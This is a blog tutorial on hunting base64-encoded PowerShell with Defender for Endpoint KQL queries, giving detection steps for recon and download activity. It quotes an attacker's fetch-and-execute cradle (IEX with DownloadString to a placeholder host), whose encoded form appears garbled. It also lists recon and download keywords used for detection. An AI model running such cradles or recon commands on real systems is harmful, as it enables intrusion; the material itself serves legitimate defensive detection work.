Threat Hunting: Encoded PowerShell

Encoding is a something that has exsisted for decades and not new a new created concept for information technology. In essence, encoding is the transformation of data into a specific format or structure for secure storage or efficient transmission. In ancient times, civilizations used rudimentary encoding methods like the Caesar cipher to protect sensitive messages from adversaries. As technology advanced, more sophisticated encoding techniques were created, especially since computers could easily decypher the contents. In the world of cyber adversaries use encoding in a similar way, they want to write code that evades detection. This blog will dive into the detection and decoding of Encoded PowerShell using Defender For Endpoint data.

Powershell can be used encoded to obfucstate the commands that have been executed. Those encoded executions are classified in MITRE ATT&CK technique T1027.010 (Obfuscated Files or Information: Command Obfuscation). An attacker can choose encoding to hide the downloading of malicious files, or to prevent simple string matching detections. The goal of this blog is to identify the systems that execute encoded powershell and to classify the traffic as benign or suspicious.

This blog specifically focusses on base64 encoded PowerShell Executions. The base64_decode_tostring() function can be used to encode all base64 encoded string, regardeless of the scripting language that is used.

PowerShell Encoding

Before we can start hunting for any encoded PowerShell commands, we need to understand what it is and what the incidcators of it are. For this part is is important that the encoded PowerShell is directly executed, the encoding of files is less interesting in this case. We build our theory based on cases in which actors used encoded Powershell (see section).

For all examples you can use KQL to translate this or any encoded base64 string, using the base64_decode_tostring() function. This works for all base64 strings, not only PowerShell. lo

let YourEncodedBase64Command = "SGV5IHRoZXJlISBOb3cgYWRkIHlvdXIgbWFsY2lvdXMgcGF5bG9hZCBpbiBoZXJlIQ==";
print base64_decode_tostring(YourEncodedBase64Command)

Example

Encoded:

powershell.exe -exec bypass -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHKACWB0AGUAbQAuAEAZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKAKQAUAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAAA6ACAALwA0ADUALgAxADMANgAuADIAMwAwACAWAADEAOgA0ADAAMAAwACAAyADMANABSADIAMWAnACkAOwA=

Decoded:

powershell.exe -exec bypass -enc IEX (New-Object NetWebclient)DownloadString('http://127.0.0.1:32467/')

Source: https://blog.talosintelligence.com/avoslocker-new-arsenal/

Based on the example we can see that adversaries use PowerShell on the commandline and a parameter to execute encoded powershell. This paremeter can be used in differrent forms; -encodedcommand, -enc or -e. Note that this execution also performs a bypass, which is intersting for later detection.

Step 1: List the devices that execute encoded PowerShell

In this step we list the devices that execute Powershell by the amount of encoded PowerShell commands executed. This is done to analyse the encoded PowerShell behaviour in for tenant and which parameters are used. This can give an indication on which device needs to be investigated further. Executing encoded scripts is not necacaraly suspicious, several legitimate solutions are used in the wild, for example to limit the script size.

The amount of encoded PowerShell executions can differ a lot in tenants, thus this indication can shed some light on the current situation and if we need to apply some filters to limit the results.

/images/Hunting-encoded-powershell/PowerShellExecutions.png
Encoded PowerShell Executions Statistics

The query (below) investigates the DeviceProcessEvents for PowerShell executions. The next step is to check if the commandline contains any of the parameters in the EncodedList. If that is the case we extract the base64 string from the commandline using regex. This string is than decoded (but not used yet). Lastly we use the summarize operator to get the count for each device.

let EncodedList = dynamic(['-encodedcommand', '-enc', '-e']); // -e and -en can also be added, be aware of FPs
let TimeFrame = 7d; //Customizable h = hours, d = days
DeviceProcessEvents
| where Timestamp > ago(TimeFrame)
| where ProcessCommandLine contains "powershell" or InitiatingProcessCommandLine contains "powershell"
| where ProcessCommandLine has_any (EncodedList) or InitiatingProcessCommandLine has_any (EncodedList)
| extend base64String = extract(@'\s+([A-Za-z0-9+/]{20}\S+$)', 1, ProcessCommandLine)
| extend DecodedCommandLine = base64_decode_tostring(base64String)
| where not(isempty(base64String) and isempty(DecodedCommandLine))
| summarize TotalEncodedExecutions = count() by DeviceName
| sort by TotalEncodedExecutions

Step 2: Investigate encoded PowerShell commands

The seconds step also shows all the commands that have been executed by each device. This is done by decoding the commands in order to be investigated. This is then listed by DeviceName the amount of unique queries that have been executed by that particial device in the selected timeframe. The image below shows the results of this step.

/images/Hunting-encoded-powershell/step2results.png
Encoded PowerShell Executions

The question what defines a malicious PowerShell command is the same as with clear text executions. But there are a few indicators that can indicate suspicious PowerShell usage, these could be:

  • Downloading Remote Files (directly from an IP address)
  • Attempting to bypass execution policies
  • Trying to modify registry run keys
  • Clearing (security) logs or disabling logging

If you identify one of the above indicators in the query results, take some time to investigate before moving to the next steps.

Found suspicious PowerShell Executions?
If you have found suspicious PowerShell executions in your environment it would be recommended to perform some incident response queries, to determine the impact. In the GitHub repository the category DFIR can be used to run those queries, to quickly list malicious activities.

Queries for this step can be found on my GitHub: MDE & Sentinel KQL Query

Step 3: Reconnaissance Activities

In this step we further build upon our previous queries to specifically look for reconnaissance activities. We are now going to enrich the privious query with commands that can be related to recon activities. For this step a predifined list of recon activities is defined:

let ReconVariables = dynamic(['Get-ADGroupMember', 'Get-ADComputer', 'Get-ADUser',
 'Get-NetGPOGroup', 'net user', 'whoami', 'net group', 'hostname', 'netsh firewall', 
 'tasklist', 'arp', 'systeminfo']);

This results in the following query:

let EncodedList = dynamic(['-encodedcommand', '-enc']); 
// For more results use line below en filter one above. This will also return more FPs.
// let EncodedList = dynamic(['-encodedcommand', '-enc', '-e']);
let ReconVariables = dynamic(['Get-ADGroupMember', 'Get-ADComputer', 'Get-ADUser', 
'Get-NetGPOGroup', 'net user', 'whoami', 'net group', 'hostname', 'netsh firewall', 
'tasklist', 'arp', 'systeminfo']);
let TimeFrame = 48h; //Customizable h = hours, d = days
DeviceProcessEvents
| where Timestamp > ago(TimeFrame)
| where ProcessCommandLine contains "powershell" or InitiatingProcessCommandLine contains "powershell"
| where ProcessCommandLine has_any (EncodedList) or InitiatingProcessCommandLine has_any (EncodedList)
| extend base64String = extract(@'\s+([A-Za-z0-9+/]{20}\S+$)', 1, ProcessCommandLine)
| extend DecodedCommandLine = base64_decode_tostring(base64String)
| extend DecodedCommandLineReplaceEmptyPlaces = replace_string(DecodedCommandLine, '\u0000', '')
| where isnotempty(base64String) and isnotempty(DecodedCommandLineReplaceEmptyPlaces)
// Search in the decoded commandline for Recon variables
| where DecodedCommandLineReplaceEmptyPlaces has_any (ReconVariables)
| project
     Timestamp,
     ActionType,
     DecodedCommandLineReplaceEmptyPlaces,
     ProcessCommandLine,
     InitiatingProcessCommandLine,
     DeviceName,
     AccountName,
     AccountDomain

Detailed queries for this step can be found on my GitHub: MDE & Sentinel KQL Query

Step 4: Encoded WebRequests

Similar to the previous step we explicitly search for encoded commands in combination with a different indicator, this will yield better results. Thistime the additional indicator is focussed on encoded downloads. This technique is often used by attackers to evade their download actions, or to limit the impact on custom detection rules, that are only scoped on normal commands.

The downloads list that is used in this detection:

let DownloadVariables = dynamic(['WebClient', 'DownloadFile', 'DownloadData', 'DownloadString', 'WebRequest', 'Shellcode', 'http', 'https']);

This results in the following results, quite interesting right!

/images/Hunting-encoded-powershell/step4results.png
Encoded PowerShell Downloads

Detailed queries for this step can be found on my GitHub: MDE & Sentinel KQL Query

Custom Detection & Analytics rules base64

I would strongly advise anyone to build custom detections (Defender For Endpoint) or analytics rules (Sentinel) to detect both recon and download activities that originate from base64 encoded PowerShell executions. This could be good indicator. For the KQL code follow the links for each step, copy the code and wait for a trigger, which hopefully will never come (or it is the red team ;).

To increase the likelyhood that a encoded PowerShell command has been executed with malicious intent you can filter on commandlines that have PowerShell, bypass and one of the encoded PowerShell commands. Note that you would also filter all malicious scripts that do not have to bypass the current execution policy.

let EncodedList = dynamic(['-encodedcommand', '-enc', '-e']);
DeviceProcessEvents
| where ProcessCommandLine has_all ('powershell', 'bypass', EncodedList)     

Questions? Feel free to reach out to me on any of my socials.